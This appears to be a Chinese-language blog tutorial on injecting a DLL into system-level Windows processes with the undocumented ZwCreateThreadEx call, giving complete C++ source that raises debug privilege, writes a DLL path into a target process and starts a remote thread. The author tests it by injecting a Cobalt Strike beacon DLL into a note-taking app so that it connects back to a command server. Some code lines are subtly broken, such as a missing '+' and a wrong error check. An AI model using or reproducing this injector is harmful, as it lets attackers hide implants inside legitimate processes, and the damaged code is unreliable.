使用CreateRemoteThread注入失败DLL失败的关键在第七个参数CreateThreadFlags, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。
实现过程在win10系统下如果我们要注入系统权限的exe,就需要使用到debug调试权限,所以先写一个提权函数。
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
在进程注入dll的过程中,是不能够使用MessageBox的,系统程序不能够显示程序的窗体,所以这里编写一个ShowError函数来获取错误码
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
首先打开进程获取句柄,使用到OpenProcess
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
然后是在注入的进程申请内存地址,使用到VirtualAllocEx
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
再使用WriteProcessMemory写入内存
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)
加载ntdll,获取LoadLibraryA函数地址
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
获取ZwCreateThreadEx函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
使用 ZwCreateThreadEx创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
这里还有一点需要注意的是ZwCreateThreadEx在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress从 ntdll.dll中获取该函数的导出地址
这里加上ZwCreateThreadEx的定义,因为64位、32位结构不同,所以都需要进行定义
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
完整代码如下
// session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <stdio.h>
#include <iostream>
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess - Error!\n\n");
return -1 ;
}
// 在注入的进程申请内存地址
dwSize = ::lstrlen(pszDllFileName) 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx - Error!\n\n");
return FALSE;
}
//写入内存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory - Error!\n\n");
return FALSE;
}
//加载ntdll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//获取ZwCreateThreadEx函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
ShowError("ZwCreateThreadEx - Error!\n\n");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else
BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if (FALSE == bRet)
{
printf("Inject Dll Error!\n\n");
}
printf("Inject Dll OK!\n\n");
return 0;
}
因为在dll注入的过程中是看不到messagebox的,所以这里我选择cs注入进行测试,若注入成功即可上线
首先生成一个32位的dll文件,这里跟位数有关,我选择注入的是32位的进程,所以这里我选择生成32位的dll
得到路径
这里我选择的是有道云笔记进行注入,查看一下pid
然后把我们函数的pid改为有道云的pid